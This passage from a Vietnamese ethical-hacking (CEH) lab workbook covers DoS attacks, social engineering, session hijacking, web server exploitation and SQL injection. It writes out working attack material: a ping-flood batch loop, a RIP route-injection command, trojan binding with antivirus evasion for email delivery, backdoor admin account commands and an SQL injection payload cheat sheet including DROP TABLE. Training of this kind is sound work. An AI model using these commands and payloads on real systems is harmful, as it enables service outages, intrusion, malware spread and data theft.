Ngoài ra Ettercap còn có 2 plug-in rất quan trọng là arpcop và leech

VSIC Education Corporation

Trang 63

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Nó cho phép ta có thể dùng chính Ettercap để bảo vệ máy mình trước các chương trình sniffer khác trên mạng 1. Arpcop: Nếu nghi ngờ ai đó đang “nghe lén” trên mạng, bạn khởi động ettercap và chọn plug-in này, đối tượng sử dụng ettercap hay dsniff ta vẫn có thể dò tìm được, lúc đó một cửa sổ mới sẽ hiển thị những máy tính đang chạy các chương trình spoofing arp trên mạng. 2. Leech: Khi xác nhận được đối tượng tấn công, ta có thể tiến hành cô lập máy tính này khỏi mạng ngay lập tức bằng cách sử dụng plug-in này. Còn có thể dùng ettercap để phát hiện các máy bị nhiễm virus đang phát tán trên mạng rồi cô lập chúng bằng leech, sau đó diệt bằng các chương trình chống virus rất hiệu quả.

VSIC Education Corporation

Trang 64

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 6:

Tấn Công từ chối dịch vụ DoS
I/ Giới thiệu: DoS attack là gì? (Denial Of Services Attack ) DoS attack (dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại, với loại tấn công này, bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server (tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác (máy của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot .

Các loại DoS attack hiện đang được biết đến và sử dụng: a.) Winnuke: - DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu “Out of Band” đến cổng 139 của máy tính đích. (Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật). Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash . b.) Ping of Death: - Ở kiểu DoS attack này, ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo. - VD: ping –l 65000 c . ) Teardrop: - Như ta đã biết, tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình: dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó, ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn !
VSIC Education Corporation Trang 65

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

d. ) SYN Attack: - Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các ``request`` chờ đợi này vào bộ nhớ, gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == > ném đá dấu tay . e . ) Land Attack: - _ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập lưng ông . f . ) Smurf Attack: - Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê, chục máy chụm lại ta đành chào thua . g . ) UDP Flooding: - Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback (127.0.0.1 ), rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo (7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1(chính nó ) gởi đến, kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy .
VSIC Education Corporation Trang 66

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

h . ) Tấn công DNS: - Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS (đã bị hacker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !. g . ) Distributed DoS Attacks (DDos ): - DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân . h.) DRDoS (The Distributed Reflection Denial of Service Attack ): - Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim, kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất, nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v…, các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash, reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy . (Trích dẫn Netsky (vniss))

II/ Mô tả bài lab: Bài Lab 1: DoS bằng cách sử dụng Ping of death. Ngoài việc sử dụng các tool Nemesy ta còn có thể sử dụng lệnh sau để có thể khởi động ping of death For /L %i in (1,1,100) do start ping [ip victim] –l 10000 -t

VSIC Education Corporation

Trang 67

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta có thể chạy câu lệnh này nhiều lần, để có thể làm cho máy Client bị DoS hoàn toàn.

VSIC Education Corporation

Trang 68

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài lab 2: DoS 1 giao thức không sử dụng chứng thực(trong bài sử dụng giao thức RIP) Trong bài này chúng ta sử dụng Cisco router để chạy phiên bản RIP version 1 và sử dụng tool Nemesis từ máy CD Boot Linux để chèn vào các thông điệp RIP update trên Router. Router khi nhận được thông điệp update sẽ lưu lại trong bản định tuyến. Do vậy ta có thể thực thi chương trình Nemesis nhiều lần và làm cho bộ nhơ của Router đầy.

Trước tiên ta thử lệnh sau: nemesis rip -V 1 -c 2 -i 192.168.5.0 -S 192.168.1.51 -D 192.168.1.254 Trong đó –V 1 là ta đang sử dụng rip version 1, -c 2 là thông tin update, -i 192.168.5.0 là route mà chúng ta quảng bá, -S 192.168.1.51 là địa chỉ nguồn thông tin(có thể không phải là địa chỉ của PC, -D 192.168.1.254 là địa chỉ của fa0/0 Router VSIC1. Sau khi thực hiện lệnh này, ta kiểm tra trên router đã có route này chưa, sau đó soạn 1 script có các route khác nhau và chạy script.

VSIC Education Corporation

Trang 69

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Quá trình inject packet vào Router

VSIC Education Corporation

Trang 70

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Router sẽ bị tràn Memory

Bản định tuyến của Router lúc tấn công

Như vậy với việc chèn vào những thông tin update của giao thức không chứng thực, chúng ta có thể làm cho Router không hoạt động được. Điều này nói lên tầm quan trọng của

VSIC Education Corporation

Trang 71

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

chứng thực. Trung Nemesis còn rất nhiều option về các giao thức ARP, OSPF v.v. Học viên có thể tự test những giao thức còn lại. Bài Lab 3: Sử dụng flash để DDoS Ngoài việc tấn công trực tiếp thông qua các giao thức như là RIP, OSPF, ARP v.v. Hacker còn có thể sử dụng các file flash để lên các forum, khi người sử dụng chạy file flash này(có thể là đoạn phim ) thì đồng thời sẽ gởi “HTTP POST “ đến nạn nhân. Như vậy nếu như file flash này được tải lên nhiều forum cũng như được nhiều người xem cùng 1 lúc, thì vô tình các Server chứa các file này đã tấn công DoS vào Server nạn nhân. Ta sử dụng file Flash trong CD (Module 8)sau đó, chạy file này bằng internet explorer, phân tích bằng webscarab proxy.

VSIC Education Corporation

Trang 72

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

File flash mở rất nhiều của sổ Internet Explorer và mỗi explorer gởi “HTTP POST” về phía Server nạn nhân.

VSIC Education Corporation

Trang 73

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 7:

Social Engineering
I/ Giới Thiệu Kỹ thuật lừa đảo (Social Engineering) là một thủ thuật được nhiều hacker sử dụng cho các cuộc thâm nhập vào các hệ thống mạng, máy tính. Đây là một trong những phương thức hiệu quả để đánh cắp mật khẩu, thông tin, tấn công vào hệ thống. Dưới đây là câu chuyện có thật về một trong những hacker nổi tiếng nhất thế giới trong vài năm trở lại đây - Kevin Mitnick (Mỹ, từng bị 8 năm tù vì tội tấn công vào hệ thống máy tính), chuyên gia hàng đầu về kỹ thuật Social Engineering. Lên kế hoạch tấn công vào công ty X, Kevin vận dụng kỹ năng này để dò tìm thông tin liên quan đến ông tổng giám đốc và một trợ lý của ông này. Lợi dụng lúc hai người đi công tác, anh ta sử dụng Call ID giả, nhái giọng nói của viên trợ lý để gọi đến quản trị mạng công ty, yêu cầu gửi mật khẩu đăng nhập vào hệ thống của tổng giám đốc vì ngài đã quên mật khẩu. Quản trị viên kiểm tra một vài thông tin về "viên trợ lý", nhưng Kevin đã có đủ thông tin và sự khôn ngoan để trả lời. Kết quả là Kevin đã lấy được mật khẩu và kiểm soát toàn bộ hệ thống mạng của công ty X. Một hình thức lừa đảo khác: Một ngày... xấu trời nào đó, bạn nhận được điện thoại, đầu dây bên kia là một giọng nói ngọt ngào: "Chào anh, dịch vụ mà anh đang sử dụng tại công ty chúng tôi hiện đang bị trục trặc với account (tài khoản) của anh. Đề nghị anh gửi gấp thông tin về tài khoản cho chúng tôi để điều chỉnh lại". Mới nghe qua tưởng như đây là một kiểu lừa thô thiển, nhưng xác suất thành công rất cao, đặc biệt khi giọng nói đó dễ thương như mấy cô trực tổng đài 1080! Phương cách lừa đảo tương tự là dùng kỹ thuật "Fake Email Login". Về nguyên tắc, mỗi khi đăng nhập vào hộp thư thì chúng ta phải điền thông tin tài khoản gồm username và password rồi gửi thông tin đến mail server để xử lý. Lợi dụng điều này, hacker đã thiết kế các trang đăng nhập giả (Fake Login) để các thông tin được gửi đến cho họ. Tóm lại, kỹ thuật Social Engineering rất đa dạng, phong phú và cũng hết sức nguy hiểm do tính hiệu quả và sự phổ biến. Kỹ thuật này không đòi hỏi phải sử dụng quá nhiều yếu tố kỹ thuật, thậm chí không có liên quan đến kỹ thuật thuần túy (non-technical). Hacker có thể thực hiện phương cách này thông qua thư tín, e-mail, điện thoại, tiếp xúc trực tiếp, thông qua người quen, các mối quan hệ cá nhân... nhằm dẫn dụ, khai thác các thông tin do vô tình bị tiết lộ từ phía người dùng. Ở VN, kỹ thuật này còn khá mới nên không hiếm trường hợp bị đánh lừa một cách dễ dàng. Chẳng hạn năm ngoái, hàng loạt game thủ MU Global đã mất sạch sành sanh tài sản (ảo), khi ngây thơ điền thông tin tài khoản của mình vào một e-mail giả mạo admin MU của hacker! (Trích dẫn) II/ Các bài Lab: Bài Lab 1: Gửi email nặc đính kèm Trojan

VSIC Education Corporation

Trang 74

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Để thực hiện bài Lab này, ta sử dụng chương trình Mini-binder để ghép file trojan với hình ảnh, thay đổi icon và chương trình Outlook để gửi email nặc danh. Ghép file hình ảnh và file trojan, đầu tiên ta tạo 1 file trojan, lấy 1 file ảnh và file ico bất kỳ để ghép.

Ta sử dụng lệnh ‘ MMB “60.ico” “svchost.exe” “cathu.jpg” “trojanhao.exe” ‘ để ghép file trojan svchost.exe với cathu.jpg và với icon là 60.ico.

Tiếp theo, ta nén file trojan mới bằng Winrar lại nhiều lấn để tránh chương trình Antivirus(tùy theo phiên bản Anti-virus, tuy nhiên hầu hết các trojan không qua mặt được các chương trình này) và thay đổi thông tin của outlook.
VSIC Education Corporation Trang 75

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta vào ToolÆOptionÆMail setupÆView AccountÆ Chọn Account cần thay đổi và thay đổi thông tin Your Name và E-mail Address.

Tiếp theo Attach file đính kèm vào và gởi Email đi. Trong bài Tác giả gởi tới địa chỉ email [email protected], và sau đó check mail để kiểm tra thử xem mail đã đến chưa.

VSIC Education Corporation

Trang 76

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 8:

Session Hijacking
I/ Giới thiệu: Như ta đã biết về sniffer (nghe lén trong mạng), Hacker có thể lấy bất kỳ thông tin gì không được mã hóa, hay có thể fake CA để có thể lấy thông tin trong giao thức HTTPS, bây giờ ta có thêm 1 kỹ thuật nữa là session hijacking. Để thực hiện được bài lab này trước tiên ta phải sử dụng ARP spoof, sau đó sử dụng phần mềm T-sight hay Hunt để giành lấy session từ phía máy nạn nhân. II/ Thực hiện bài Lab Trong bài Lab, tác giả sử dụng Vmware để thực hiện, sử dụng máy để thử nghiệp TELNET và SSH. Còn 2 máy còn lại 1 sử dụng Window 2000(đã cài sẵn tool T-sight) và 1 sử Linux để test SSH.

Việc cài đặt phần mềm khá dễ dàng, bạn cần phải thêm phần driver và chuyển về IP 192.168.200.0/24 do đang sử dụng bản Trial.

VSIC Education Corporation

Trang 77

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Sau khi cài đặt xong, trên máy 192.168.200.1 thiết lập cho phép các máy khác telnet. Và từ máy 192.168.200.2 telnet đến máy 192.168.200.1.

Và dữ liệu thu được từ máy 192.168.200.2, sử dụng tính năng Take Over trong Tool T-sight để lấy session.

VSIC Education Corporation

Trang 78

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Sau khi Session bị lấy, session từ máy Telnet sẽ bị “ Lost connection” và người sử dụng trong trường hợp này không biết là mình bị “Lost Connection “bởi nguyên nhân nào. Bây giờ ta bật Service SSH của máy Linux bằng lệnh “ Service sshd” và test thử session hijacking đối với traffic ssh.

VSIC Education Corporation

Trang 79

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 9:

Hacking Web Server
I/ Giới thiệu: Thông thường để Hacking 1 Web Server, Hacker thường phải xem thử Web Server đang chạy hệ điều hành gì và chạy những sercice gì trên đó, hệ điều hành thông thường là các hệ điều hành Win 2000 Server, Win 2003 Server, Redhat.v.v. Các Service bao gồm Apache, IIS, FTP Server v.v. Nếu như 1 trong những Service của Hệ điều hành bị lỗi hay service khác bị lỗi có thể dẫn tới việc mất quyền kiểm soát của hệ thống. Trong bài thực hành của phần này, tác giả giới thiệu lỗi của hệ điều hành là DCOM và lỗi ứng dụng khác là Server-U, Apache(FTP Server). Từ những lỗi này, ta có thể kiểm soát hoàn toàn máy nạn nhân. II/ Thực Hiện bài lab. Bài Lab 1: Tấn công Web Server Win 2003(lỗi Apache) Để biết được máy Server của hệ thống có bị lỗi hay không, ta sử dụng dụng phần mềm quét để kiểm tra. (Phần này đã được học trong scaning).

VSIC Education Corporation

Trang 80

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Rank 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15.

Vulnerability Name echo service ASN.1 Vulnerability Could Allow Code Execution Windows Cumulative Patch 835732 Remote Null Session No Remote Registry Access Available telnet service DCOM Enabled Windows RPC Cumulative Patch 828741 Remote Windows RPC DCOM interface buffer overflow Windows RPC DCOM multiple vulnerabilities Apache 1.3.27 0x1A Character Logging DoS Apache 1.3.27 HTDigest Command Execution Apache mod_alias and mod_rewrite Buffer Overflow ApacheBench multiple buffer overflows HTTP TRACE method supported

Count 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

Ta không thấy thông tin về FTP Server ở đây, do phần mềm Retina chỉ có tính năng nhận diện các Service của Microsoft và những Service thông dụng. Còn các Service không thông dụng hơn thì phần mềm chỉ thấy dưới dạng mở port. Trong trường hợp này ta thấy mở port 21. Ta sử dụng Metasploit để khai thác lỗi Apache và lấy được (Console).

VSIC Education Corporation

Trang 81

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bây giờ chúng ta sẽ tìm cách Remote Desktop vào máy 192.168.200.1. Trước tiên ta tạo 1 user và add user này vào nhóm admin bằng sử dụng lệnh. Net user vsichao vsichao /add //thêm user Net Localgroup Administrators vsichao /add //đưa user vào nhóm Admin

Ta có thể kiểm ta lại bằng lệnh “ Net user” để kiểm tra thử user của mình đã được quyền admin hay chưa. Tiếp theo ta thử remote Desktop vào máy bằng lệnh “ mstsc /v 192.168.200.6” . Nếu không được ta sử dụng file Openrdp.vbs để mở Remote Desktop. Ta sử dụng chương trình Cisco TFTP Server để đẩy file này Server nạn nhân.

Sử dụng lệnh tftp ở máy nạn nhân để lấy file

VSIC Education Corporation

Trang 82

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Add user vào và nâng quyền lên Administrator.

Remote Desktop vào với user là cehclass thành công, như vậy ta đã hoàn toàn kiểm soát được máy nạn nhân.

VSIC Education Corporation

Trang 83

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài lab 2: Khai thác lỗi ứng dụng Server U Tương tự như bài trên, ta sử dụng chương trinh nmap để xác định version của ServerU và sử dụng metaesploit để tấn công.

VSIC Education Corporation

Trang 84

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 10:

WEB APPLICATION HACKING
I/ Giới thiệu: Ứng dụng Web thông thường sử dụng dữ liệu đầu vào trong các truy cập HTTP (hoặc trong các tập tin) nhằm xác định kết quả phản hồi. Tin tặc có thể sửa đổi bất kỳ phần nào của một truy xuất HTTP, bao gồm URL, querystring, headers, cookies, form fields, và thậm chí field ẩn (hidden fields), nhằm vượt qua các cơ chế bảo mật. Các tấn công phổ biến dạng này bao gồm: Chạy lệnh hệ thống tùy chọn Cross site scripting Lỗi tràn bộ đệm Tấn công Format string SQL injection Cookie poisoning Sửa đổi field ẩn

Trong bài thực hành này, ta thử khai thác các lỗ hỗng Cross Site Cripting, Format string, Cookie Manipulation, Authorization Failure. II/ Các Bài Lab Bài Lab 1: Cross Site Scripting Đầu tiên ta login vào bằng username “jv” và password “ jv789” và chọn chức năng “post message”. Sau đó ta post script vào phần message text.

VSIC Education Corporation

Trang 85

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Sau đó ta submit để post script này lên. Ta sử dụng F5 để Refresh lại trình duyệt và thấy xuất hiện.

Lúc này trình duyệt của nạn nhân vô tình đã thực hiện script được user post lên Server. Dựa vào script này, tin tặc có thể ăn cắp cookie của nạn nhân và log in vào hệ thống. Bài Lab 2: Insufficient Data Validation Trong bài Lab này khi chuyển tiền từ tài khoản này sang tài sản khác, tham số amout luôn luôn phải lớn hơn 0. Tuy nhiên trong 1 số trường hợp Hacker có thể thay đổi con số này là số âm bằng những chương trình “http proxy”. Kết quả này có thể gây hại đến các khoản tài chính của ngân hàng HackmeBank. Ta thử chuyển với giá trị Amout 100 từ tài khoản bất kỳ sang tài khoản khác

Kết quả thành công. Ta tiếp tục chuyển thêm 1 lần nữa nhưng với giá trị là -100. Tuy nhiên do có kiểm tra dưới phía client nên việc chuyển tiền không thành công.

VSIC Education Corporation

Trang 86

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bây giờ ta sử dụng chương trình Webscarab làm http proxy và thay đổi thông số được POST lên Server.

Kết quả trả về từ Server việc chuyển tiền vẫn thành công

VSIC Education Corporation

Trang 87

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta kiểm tra trong Transaction thấy có lưu lại việc chuyển tiền.

Bài Lab 3: Cookie Manipulation Trong lúc login, ta xem trong Cookie có tham số CookieloginAttempts, tham số này dùng để lock session khi ai đó cố gắng login vào khi nhập sai hay không biết password. Tham số này đếm từ 5 đến 0. Khi tham số này bằng 0 là lúc session bị Lock. Ta có thể sử dụng Webscarab để thay đổi tham số này để tránh việc Server lock session.

VSIC Education Corporation

Trang 88

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài Lab 4: Authorization Failure Đầu tiên ta vào xem các account của user “jc” password “jc789”.

Ta thấy account Number là 5204320422040005, 5204320422040006, 520432 0422040007, 5204320422040008. User jc chỉ quán lý được các account thông số trên. Tuy nhiên ta chú ý đến phần URL khi sử dụng tính năng “View Transaction”.

VSIC Education Corporation

Trang 89

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta thay thông số 5204320422040005 bằng thông số 5204320422040004(thông số này không thuộc account quản lý của user jc). Như vậy web site đang bị lỗi phân quyền.

VSIC Education Corporation

Trang 90

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 11:

SQL INJECTION
I/ Giới thiệu về SQL Injection: Đây là Kĩ thuật tấn công này lợi dụng những lỗ hỗng trên ứng dụng(không kiểm tra kĩ những kí tự nhập từ người dùng). Thực hiện bằng cách thêm các mã vào các câu lệnh hay câu truy vấn SQL (thông qua những textbox) trước khi chuyển cho ứng dụng web xử lý, Server sẽ thực hiện và trả về cho trình duyệt (kết quả câu truy vấn hay những thông báo lỗi) nhờ đó mà các tin tặc có thể thu thập dữ liệu, chạy lệnh (trong 1 số trường hợp) và sau cho có thể chiếm được quyền kiểm soát của hệ thống. Sau đây là 1 số thủ thuật căn bản 1) Lấy tên table và column hiện hành: Structure: Login page (or any injection page):::: username: ' having 1=1-KQ: ------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. -----------------------------------------> Ta có được TABLE VICTIM Tiếp tục username: ' group by VICTIM.ID having 1=1-KQ:--------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.Vuser' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. ------------------------------------------Vậy là ta có column Vuser UNION nhỏ mà hiệu quả Vâng thưa các bạn, ta có thể dùng nó để lấy được gần như mọi thứ . Trước hết tôi xin nói sơ qua cái Structure của nó: Login page:::: username: ' Union select [column] from [table] where [column2=...]-password: everything Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta làm như sau
VSIC Education Corporation Trang 91

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

username: ' Union select VPASS from VTABLE where VUSER='admin'-- (1) password: everything (1): Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên KQ:----------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. --------------------------------Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column của table VTABLE được Union hết. Structure của nó như sau: username: ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER='admin'-- (1) password: everything Bạn hãy thêm ",1" cho đến khi kết quả ra đại loại như -------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'tuibihackroi' to a column of data type int. -------------------------------Như vậy Pass của user 'admin' là 'tuibihackroi' 2) Lấy hết value của một column đã biết trong một table đã biết Bí quyết ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước): Với Vuser là admin ta có thể lấy được các user khác -----Login Page:::::: username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’)— ------------------------Sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in (vd: Not in (‘admin’,’hacker’,….)) cứ làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password). **** Ðể lấy danh sách tên các user theo một quy định mà bạn chọn, ví dụ chi lấy các user có chứa từ admin chẳng hạn ta dùng “like”: cấu trúc -----Login Page:::::: username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’) like %admin%— ------------------------3) Lấy hết table và column của của database: Bí quyết chính là table này của database: INFORMATION_SCHEMA.TABLES với column
VSIC Education Corporation Trang 92

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

TABLE_NAME (chứa toàn bộ table) và table: INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứa toàn bộ column) Cách sử dụng dùng Union: -----Login page::::::: username: ‘ UNION SELECT TABLE_NAME,1,1,1…,1 FROM INFORMATION_SCHEMA.TABLES WHERE ……. --------------------------Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó: -----Login page::::::: username: ‘ UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’… ’ and …… --------------------------Trên đây là những điều căn bản nhất về SQl injection mà tôi có thể cung cấp cho các bạn, còn làm được tốt hay không thì phải có một chút sáng tạo nữa hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQl injection 4)Không sử dụng UNION: Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng "Convert" một cách dẽ dàng hơn để thu thập info qua các thông báo lỗi Structure: ---login page:::: user: ' + convert (int,(select @@version))-------------------------Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái "select @@version" nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé vd: user: ' + convert (int,(select Vpass from Vtable where Vuser='admin'))-Lưu ý: Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b vd: user: ' %2b convert (int,(select Vpass from Vtable where Vuser='admin'))-5) Run command SQL: Đề run command bạn có thể dùng dấu ";" Structure:

VSIC Education Corporation

Trang 93

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

login page::::: user:' ; [command]-----------------------------vd: '; DROP TABLE VTABLE-II/ Thực Hành Bài Lab

Trong bài này Hacker (máy 192.168.1.44) sẽ thông qua Port Web để tấn công vào Server 2000(192.168.1.46) và sẽ upload lên Server 2000 trojan webbase, sau đó kiểm soát Server này. Đầu tiên sử dụng phần mềm Acunetix để quét xem Server Web có bị lỗi ứng dụng gì không??

VSIC Education Corporation

Trang 94

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta có thể test bằng tay trong tình huống này bằng cách thêm dấu “ ‘ “ trong form login.

